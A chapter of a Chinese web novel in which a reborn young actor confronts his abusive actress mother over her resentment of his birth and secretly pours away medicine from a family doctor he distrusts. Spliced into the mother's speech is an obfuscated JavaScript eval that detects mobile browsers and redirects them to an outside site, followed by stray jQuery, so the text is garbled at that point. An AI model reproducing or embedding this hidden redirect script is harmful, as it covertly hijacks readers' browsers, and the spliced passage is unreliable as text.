在秦昕的记忆里，母亲的房间总是不开窗帘，她仿佛怕光。
“母亲。”秦昕像无事发生一样，将玻璃烟灰缸放在了她的化妆台上。
乔莲背向着儿子，光一个背阴处的背影就足够动人。时光仿佛也不舍得给她留下遗憾的痕迹，她总是美得那么不费力气。
“你昨晚出去了？”乔莲并没有回头看秦昕。
秦昕在开口前先斟酌了一下：“是的。您就是问我这件事么？”
“为什么出去？”乔莲非常快速地转了过来，而她这一个小动作，带给秦昕的连锁反应居然是下意识地闪避。他不知道乔莲什么时候会发作，上一秒还是一个平静的母亲，下一秒就变成歇斯底里。
但这毕竟是自己的母亲，秦昕的长相大部分遗传了妈妈的优点，特别是那一双被誉为“娱乐圈无代餐”的眼睛。母亲年轻的时候别人说“乔莲之后再无乔莲”，他14岁获奖时，这句话变成了“乔莲之后还有秦昕”。
完美复制的丹凤眼，是他们母子无法抵赖的血缘。
“因为我朋友出事了，所以彻夜未归。请问这有什么问题么？”现在，秦昕选择不骗她。
“朋友？你有什么朋友？你还有朋友吗？除了方家那个小子，你这种人居然还能交到朋友？你也配有朋友？”乔莲甚至不用动手，光是这样动一动嘴皮子，每个字都能变成冰冷的刺刀扎进秦昕的身体里。
秦昕的心头涌动着异样，卷动着无法否认的恨意。
他注视着那双一模一样的眼睛，却从未在她的瞳孔里看到一个快乐的自己。上辈子他很想拯救不幸福的母亲，最起码，他想找出母亲狂躁的原因，或许找到了就能挽救这个家。所以他习惯性地检讨自己，怀疑是不是自己不够出色，怀疑自己的存在是不是真的断了母亲的演员之路。
很多人是这样说的！
“我当然有朋友。”秦昕想起了那个毛茸茸的脑袋，林凡星的面孔在眼前晃动，他叽叽喳喳的唠叨在耳边响，“方飞宇是我的朋友，我也有除了他之外的朋友。”
“哈哈哈哈……”乔莲发出一串冷笑，太漂亮的人连阴冷发笑都那么动人，每一个角度拿到大屏幕上都可以过关。然而她的变脸也充满了戏剧性，犹如原形毕露的女鬼，一刹那狰狞万分，目露凶光。
“你能有什么朋友！你不配！”乔莲两三步走到秦昕面前，两只手捏住了儿子的肩膀，“你就是一个孽种！你根本不配活着！要不是你……”
身体虚弱的秦昕想要挣开，然而现在的他根本不是乔莲的对手，几次三番才掰开母亲的手指。他从未真正意义的反抗过，总觉得母亲是精神不好，她是一个病人。直到最后他成了病人，在吞下精神药物浑浑噩噩之后，他从母亲脸上看到了他从未见过的表情。
那是一种快乐又放松的笑。她在庆祝儿子终于倒下了。
“放开！”秦昕这次将她一推，明明是想推开她，自己也靠在了墙上。
乔莲也撞在了化妆台上，那些被保洁阿姨收拾好的护肤品全部掉在了地上。肩膀磕在镜子上，她的呼吸像拉破的手风琴，破音中透着不可置信。20年一晃而过，母子终于走到了动手对峙的对立面，她反而没有痛心，而是流露出“我就知道会有这一天”的轻视。
“好，好，你终于藏不住了，对吧？我就知道……我就知道你小子流着肮脏的血，你就该去死！”乔莲扶着化妆台重新站直，发丝粘在她出汗的颈侧，青色血管藏在她牛奶白的肤色里。
秦昕的状况比她还不好，光是一个猛然发力就站不住了，脸色比乔莲还要难看。“是我藏不住了么？你们对我做过什么，你们……心里不知道么？”
乔莲轻视的目光瞬间消散，换成了惊讶：“你知道了？”
秦昕冷冰冰地看着她：“难道我不该知道么？”
“不，你该知道，你该知道我和你父亲对你是什么心态，你只是我们的艺术品。我给于你外貌，没有这张脸你以为多少人会看你的电影？秦光泽给了你才华，他自己都说过，你的演技是与生俱来的天赋，你……”
“不，不是你和他。”秦昕捂着心口的位置，将她的话打断。
乔莲又一次停顿下来，再开口的时候，出现了秦昕从未见过的局促。“你在说什么？”
“不是你和秦光泽，你知道的，我说的不是你们两个。”秦昕意有所指，“除了你们，还有另外一个人对我做过什么。而这件事是你默许的，对吧？”
乔莲恍惚中转过去，摆了摆手：“我不懂你在说什么，快滚！”
“你心虚了？因为我戳穿了你的丑事？戳穿了你和秦光泽这场婚姻的真相？”秦昕也不知道是什么撑着他，疲惫双眼仅剩下一簇光芒。他也想抓住父母对他疼爱的证据，只是那一簇火苗终归要熄灭。
“我知道你恨我。”秦昕将上辈子没说出来的话倾泻而出，“他们说，你是因为怀孕，错过了档期，失去了《人生夏谣》的女一号资格，对么？”
乔莲的手紧紧揪住厚重的窗帘，纤细的手腕仿佛不堪一击。“滚出去！”
“看来我猜对了。”秦昕咳出了几声残破的音节。他的出生，就是母亲事业走下坡路的开端。
《人生夏谣》是邵永瑞大导演的得意之作，21年前的选角之争也是如火如荼，竞争激烈。他的母亲乔莲自然是热门人选，最后也不负众望，得到了邵永瑞的点头。所有人都知道只要不出意外，女一号就是乔莲的了。
可是偏偏出了意外，乔莲怀孕了。查出身孕的时候，已经5个月。
乔莲本身过瘦，常年控制饮食导致胎儿过小，经期一直不准，所以从来没往怀孕这个方向想过。而医生的话更是给了她致命一击……当胎儿察觉到母亲不想要孩子的时候，就会想方设法躲过去，伪装成没有怀孕的假象。
这5个月里，乔莲不是没有经历过生理周期，这就是胎儿伪造的假性出血。更可怕的是，胎儿并不是蜷缩状态，而是将身体拉直，站在她体内，想尽一切办法不被发现。
这就是秦昕，等乔莲想要再采取措施，已经为时已晚。《人生夏谣》开机在即，女一号紧急换人，5个月后，秦昕出生，《人生夏谣》杀青。
等秦昕周岁时，《人生夏谣》在海外得奖，乔莲当年的竞争对手赵以唯靠女一号一角捧起了“最佳女主”的双翅奖杯，一战成名。在致谢宴会上，赵以唯当着记者的面感谢剧组和影迷，还特别强调了一个人。
她感谢了秦昕，感谢这个孩子的到来让她拥有了女一号，拥有了今天的一切。
“你一直恨我，我都知道。”秦昕终于肯直面这个创伤。《人生夏谣》也好，赵以唯也好，都是他们母子断裂的帮凶。
“对，我就是恨你，你知道还不快滚！”令人意外的是乔莲也不隐藏，她的点点滴滴变成了血泪控诉，要悉数泼洒在儿子的身上，“要不是你……要不是你！你吸光了我的运气，吸走了我的灵气，你生长在我的牺牲之上！
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900709|176614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你还要干什么！你出生之后我就再也没演过女一号，我的盆骨被你撑裂，我的身体像重新拼起来的木偶，再没有人夸过我眼神灵动。现在你满意了吗？你就该去死！”
心底的疑问得到验证，秦昕心如刀割，也不得不选择转身而去。他不想和乔莲吵架了，争辩已经发生过的事情没有任何意义。
“满意了。不过我会好好活着，我不会死。”秦昕苦笑着点了点头，他也不用做什么，命运会把他们每个人送到结局，轮不到他再出手。
离开母亲的卧室之后，秦昕感觉自己的体温又热了起来，真是一点情绪波动都不能有。回到自己房间，秦昕先把他的日记本打开，翻到了几周后。
那时候，在股市赔得倾家荡产的方飞宇已经开始买醉，朝着他的不归路走去。而秦昕刚好是一个事无巨细的记录者，擅于做手账的他还打印了那几天的大盘线图，贴在了纸上。
正在外头洗车的方飞宇忽然收到了秦昕的消息。
秦昕：[把你手头的股票抛出去，买这几支。]
怎么还是买股票啊？方飞宇往窗口看了看，以前没听说秦昕对这些事情感兴趣。
秦昕也不敢让他多买，万一这辈子的股票大盘有所出入，岂不是毁于一旦？当他把那几支股票的名字给方飞宇发过去之后，房门再一次被人敲响，来的不是别人，正是方飞宇的父亲，方博。
“秦少爷，该喝药了。”方博在门外说。
“请进吧。”秦昕收好了笔记本。
方博端着一碗中药进来，小心翼翼放在桌上，耐心嘱咐：“药是我亲手熬好的，比外面代煎的浓稠一些，所以喝下去比较苦。我给您准备了蜂蜜水，可以润润喉。”
“谢谢您，方叔叔。”秦昕疲倦地点了点头，“最近吃了您的药，我觉得精神好多了。”
“那就好，那我就放心了。”方博尽职尽责，又说了一些最近的注意事项，这才离开。
然而等到他关上门，秦昕疲倦的神情立即变成了清醒。桌上那一碗黑色的药汁散发着浓稠的苦味，秦昕不带犹豫地端起碗，连同那一杯让他润喉的蜂蜜水，一起倒进了洗手间的下水道。
这就是他质问乔莲时说的“那个人”。他从小最为信任的家庭医生，方叔叔，就是导致他身体孱弱的最大帮凶。
假装喝完中药，秦昕又说他喝完药饿了，请阿姨给他熬了粥和清汤。尽管没有食欲可秦昕还是尽力去吃，他必须尽快恢复体力。
吃完饭，秦昕又开始昏昏欲睡，从前吃药吃得太多，副作用一时半会儿不会消失。等到他再次睁眼，窗外是一片火烧云，已经到了傍晚。
糟糕！忘记给金丝雀点晚饭了！饿死了怎么办？
第一次包养，实在没有经验。
秦昕一个起身，一阵眩晕，强忍住眩晕开始手机点餐。餐品他不会选，直接“再来一份”，又怕林凡星吃不饱，额外点了两份中式点心。搞定之后，秦昕看了看时间，时间刚好，他要帮林凡星找手机去了。
正在小屋子里饥肠辘辘的林凡星听到了外卖的敲门声，那声音悦耳动听，简直天籁！等外卖员走后，林凡星观察了猫眼才打开防盗门，还以为恩人把他给忘记了呢。
大大的保温袋香气喷喷，摸着还热。口袋上别着出餐单，备注是：[等我，今晚过去。]
林凡星顿时一愣，这话……真的很像金主和金丝雀！
怎么着，我吃完你的烧烤还要洗个澡，等你？